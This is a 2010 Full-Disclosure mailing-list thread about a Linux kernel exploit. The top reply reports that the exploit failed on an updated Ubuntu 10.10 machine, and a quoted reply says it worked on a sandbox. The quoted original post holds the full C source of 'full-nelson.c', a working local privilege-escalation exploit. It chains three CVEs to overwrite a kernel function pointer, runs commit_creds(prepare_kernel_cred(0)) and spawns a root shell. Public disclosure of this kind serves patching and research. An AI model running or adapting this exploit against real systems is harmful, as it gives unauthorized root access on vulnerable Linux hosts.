Message-ID: <4CFF3DF4.8050404@asp64.com>
Date: Wed, 08 Dec 2010 09:12:36 +0100
From: Guillaume Friloux <guillaume.friloux@...64.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Re: Linux kernel exploit

Doesnt work here on Ubuntu 10.10 (VirtualBox) clean install (but with 
all updates) with only an “apt-get install build-essential”

kuri@...i-VirtualBox:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=10.10
DISTRIB_CODENAME=maverick
DISTRIB_DESCRIPTION="Ubuntu 10.10"
kuri@...i-VirtualBox:~$ uname -a
Linux kuri-VirtualBox 2.6.35-23-generic #41-Ubuntu SMP Wed Nov 24 
10:18:49 UTC 2010 i686 GNU/Linux
kuri@...i-VirtualBox:~$ gcc -o exploit exploit.c
kuri@...i-VirtualBox:~$ ./exploit
[*] Resolving kernel addresses...
[+] Resolved econet_ioctl to 0xf81ca340
[+] Resolved econet_ops to 0xf81ca440
[+] Resolved commit_creds to 0xc016c8d0
[+] Resolved prepare_kernel_cred to 0xc016cd20
[*] Calculating target...
[*] Triggering payload...
[*] Exploit failed to get root.
kuri@...i-VirtualBox:~$

On 07/12/2010 22:21, Ryan Sears wrote:
> Yep, just tested it in an Ubuntu 10.10 sandbox I have (running kernel 2.6.35-22-generic). Works as expected.
>
> Great job Dan. You're full of win!
>
> Regards,
> Ryan Sears
> ----- Original Message -----
> From: "Cal Leeming [Simplicity Media Ltd]"<cal.leeming@...plicitymedialtd.co.uk>
> To: "Dan Rosenberg"<dan.j.rosenberg@...il.com>
> Cc: full-disclosure@...ts.grok.org.uk, bugtraq@...urityfocus.com
> Sent: Tuesday, December 7, 2010 4:06:44 PM GMT -05:00 US/Canada Eastern
> Subject: Re: [Full-disclosure] Linux kernel exploit
>
> Anyone tested this in sandbox yet?
>
> On 07/12/2010 20:25, Dan Rosenberg wrote:
>> Hi all,
>>
>> I've included here a proof-of-concept local privilege escalation exploit
>> for Linux.  Please read the header for an explanation of what's going
>> on.  Without further ado, I present full-nelson.c:
>>
>> Happy hacking,
>> Dan
>>
>>
>> --snip--
>>
>> /*
>>    * Linux Kernel<= 2.6.37 local privilege escalation
>>    * by Dan Rosenberg
>>    * @djrbliss on twitter
>>    *
>>    * Usage:
>>    * gcc full-nelson.c -o full-nelson
>>    * ./full-nelson
>>    *
>>    * This exploit leverages three vulnerabilities to get root, all of which were
>>    * discovered by Nelson Elhage:
>>    *
>>    * CVE-2010-4258
>>    * -------------
>>    * This is the interesting one, and the reason I wrote this exploit.  If a
>>    * thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL
>>    * word will be written to a user-specified pointer when that thread exits.
>>    * This write is done using put_user(), which ensures the provided destination
>>    * resides in valid userspace by invoking access_ok().  However, Nelson
>>    * discovered that when the kernel performs an address limit override via
>>    * set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault,
>>    * etc.), this override is not reverted before calling put_user() in the exit
>>    * path, allowing a user to write a NULL word to an arbitrary kernel address.
>>    * Note that this issue requires an additional vulnerability to trigger.
>>    *
>>    * CVE-2010-3849
>>    * -------------
>>    * This is a NULL pointer dereference in the Econet protocol.  By itself, it's
>>    * fairly benign as a local denial-of-service.  It's a perfect candidate to
>>    * trigger the above issue, since it's reachable via sock_no_sendpage(), which
>>    * subsequently calls sendmsg under KERNEL_DS.
>>    *
>>    * CVE-2010-3850
>>    * -------------
>>    * I wouldn't be able to reach the NULL pointer dereference and trigger the
>>    * OOPS if users weren't able to assign Econet addresses to arbitrary
>>    * interfaces due to a missing capabilities check.
>>    *
>>    * In the interest of public safety, this exploit was specifically designed to
>>    * be limited:
>>    *
>>    *  * The particular symbols I resolve are not exported on Slackware or Debian
>>    *  * Red Hat does not support Econet by default
>>    *  * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and
>>    *    Debian
>>    *
>>    * However, the important issue, CVE-2010-4258, affects everyone, and it would
>>    * be trivial to find an unpatched DoS under KERNEL_DS and write a slightly
>>    * more sophisticated version of this that doesn't have the roadblocks I put in
>>    * to prevent abuse by script kiddies.
>>    *
>>    * Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64.
>>    *
>>    * NOTE: the exploit process will deadlock and stay in a zombie state after you
>>    * exit your root shell because the Econet thread OOPSes while holding the
>>    * Econet mutex.  It wouldn't be too hard to fix this up, but I didn't bother.
>>    *
>>    * Greets to spender, taviso, stealth, pipacs, jono, kees, and bla
>>    */
>>
>> #include<stdio.h>
>> #include<sys/socket.h>
>> #include<fcntl.h>
>> #include<sys/ioctl.h>
>> #include<string.h>
>> #include<net/if.h>
>> #include<sched.h>
>> #include<stdlib.h>
>> #include<signal.h>
>> #include<sys/utsname.h>
>> #include<sys/mman.h>
>> #include<unistd.h>
>>
>> /* How many bytes should we clear in our
>>    * function pointer to put it into userspace? */
>> #ifdef __x86_64__
>> #define SHIFT 24
>> #define OFFSET 3
>> #else
>> #define SHIFT 8
>> #define OFFSET 1
>> #endif
>>
>> /* thanks spender... */
>> unsigned long get_kernel_sym(char *name)
>> {
>> 	FILE *f;
>> 	unsigned long addr;
>> 	char dummy;
>> 	char sname[512];
>> 	struct utsname ver;
>> 	int ret;
>> 	int rep = 0;
>> 	int oldstyle = 0;
>>
>> 	f = fopen("/proc/kallsyms", "r");
>> 	if (f == NULL) {
>> 		f = fopen("/proc/ksyms", "r");
>> 		if (f == NULL)
>> 			goto fallback;
>> 		oldstyle = 1;
>> 	}
>>
>> repeat:
>> 	ret = 0;
>> 	while(ret != EOF) {
>> 		if (!oldstyle)
>> 			ret = fscanf(f, "%p %c %s\n", (void **)&addr,&dummy, sname);
>> 		else {
>> 			ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
>> 			if (ret == 2) {
>> 				char *p;
>> 				if (strstr(sname, "_O/") || strstr(sname, "_S."))
>> 					continue;
>> 				p = strrchr(sname, '_');
>> 				if (p>   ((char *)sname + 5)&&   !strncmp(p - 3, "smp", 3)) {
>> 					p = p - 4;
>> 					while (p>   (char *)sname&&   *(p - 1) == '_')
>> 						p--;
>> 					*p = '\0';
>> 				}
>> 			}
>> 		}
>> 		if (ret == 0) {
>> 			fscanf(f, "%s\n", sname);
>> 			continue;
>> 		}
>> 		if (!strcmp(name, sname)) {
>> 			fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
>> 			fclose(f);
>> 			return addr;
>> 		}
>> 	}
>>
>> 	fclose(f);
>> 	if (rep)
>> 		return 0;
>> fallback:
>> 	uname(&ver);
>> 	if (strncmp(ver.release, "2.6", 3))
>> 		oldstyle = 1;
>> 	sprintf(sname, "/boot/System.map-%s", ver.release);
>> 	f = fopen(sname, "r");
>> 	if (f == NULL)
>> 		return 0;
>> 	rep = 1;
>> 	goto repeat;
>> }
>>
>> typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
>> typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
>> _commit_creds commit_creds;
>> _prepare_kernel_cred prepare_kernel_cred;
>>
>> static int __attribute__((regparm(3)))
>> getroot(void * file, void * vma)
>> {
>>
>>           commit_creds(prepare_kernel_cred(0));
>>           return -1;
>>
>> }
>>
>> /* Why do I do this?  Because on x86-64, the address of
>>    * commit_creds and prepare_kernel_cred are loaded relative
>>    * to rip, which means I can't just copy the above payload
>>    * into my landing area. */
>> void __attribute__((regparm(3)))
>> trampoline()
>> {
>>
>> #ifdef __x86_64__
>> 	asm("mov $getroot, %rax; call *%rax;");
>> #else
>> 	asm("mov $getroot, %eax; call *%eax;");
>> #endif
>>
>> }
>>
>> /* Triggers a NULL pointer dereference in econet_sendmsg
>>    * via sock_no_sendpage, so it's under KERNEL_DS */
>> int trigger(int * fildes)
>> {
>> 	int ret;
>> 	struct ifreq ifr;
>>
>> 	memset(&ifr, 0, sizeof(ifr));
>> 	strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);
>>
>> 	ret = ioctl(fildes[2], SIOCSIFADDR,&ifr);
>>
>> 	if(ret<   0) {
>> 		printf("[*] Failed to set Econet address.\n");
>> 		return -1;
>> 	}
>>
>> 	splice(fildes[3], NULL, fildes[1], NULL, 128, 0);
>> 	splice(fildes[0], NULL, fildes[2], NULL, 128, 0);
>>
>> 	/* Shouldn't get here... */
>> 	exit(0);
>> }
>>
>> int main(int argc, char * argv[])
>> {
>> 	unsigned long econet_ops, econet_ioctl, target, landing;
>> 	int fildes[4], pid;
>> 	void * newstack, * payload;
>>
>> 	/* Create file descriptors now so there are two
>> 	   references to them after cloning...otherwise
>> 	   the child will never return because it
>> 	   deadlocks when trying to unlock various
>> 	   mutexes after OOPSing */
>> 	pipe(fildes);
>> 	fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0);
>> 	fildes[3] = open("/dev/zero", O_RDONLY);
>>
>> 	if(fildes[0]<   0 || fildes[1]<   0 || fildes[2]<   0 || fildes[3]<   0) {
>> 		printf("[*] Failed to open file descriptors.\n");
>> 		return -1;
>> 	}
>>
>> 	/* Resolve addresses of relevant symbols */
>> 	printf("[*] Resolving kernel addresses...\n");
>> 	econet_ioctl = get_kernel_sym("econet_ioctl");
>> 	econet_ops = get_kernel_sym("econet_ops");
>> 	commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
>> 	prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
>>
>> 	if(!econet_ioctl || !commit_creds || !prepare_kernel_cred || !econet_ops) {
>> 		printf("[*] Failed to resolve kernel symbols.\n");
>> 		return -1;
>> 	}
>>
>> 	if(!(newstack = malloc(65536))) {
>> 		printf("[*] Failed to allocate memory.\n");
>> 		return -1;
>> 	}
>>
>> 	printf("[*] Calculating target...\n");
>> 	target = econet_ops + 10 * sizeof(void *) - OFFSET;
>>
>> 	/* Clear the higher bits */
>> 	landing = econet_ioctl<<   SHIFT>>   SHIFT;
>>
>> 	payload = mmap((void *)(landing&   ~0xfff), 2 * 4096,
>> 		       PROT_READ | PROT_WRITE | PROT_EXEC,
>> 		       MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
>>
>> 	if ((long)payload == -1) {
>> 		printf("[*] Failed to mmap() at target address.\n");
>> 		return -1;
>> 	}
>>
>> 	memcpy((void *)landing,&trampoline, 1024);
>>
>> 	clone((int (*)(void *))trigger,
>> 	      (void *)((unsigned long)newstack + 65536),
>> 	      CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
>> 	&fildes, NULL, NULL, target);
>>
>> 	sleep(1);
>>
>> 	printf("[*] Triggering payload...\n");
>> 	ioctl(fildes[2], 0, NULL);
>>
>> 	if(getuid()) {
>> 		printf("[*] Exploit failed to get root.\n");
>> 		return -1;
>> 	}
>>
>> 	printf("[*] Got root!\n");
>> 	execl("/bin/sh", "/bin/sh", NULL);
>> }
>>
>>
>> _______________________________________________
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>


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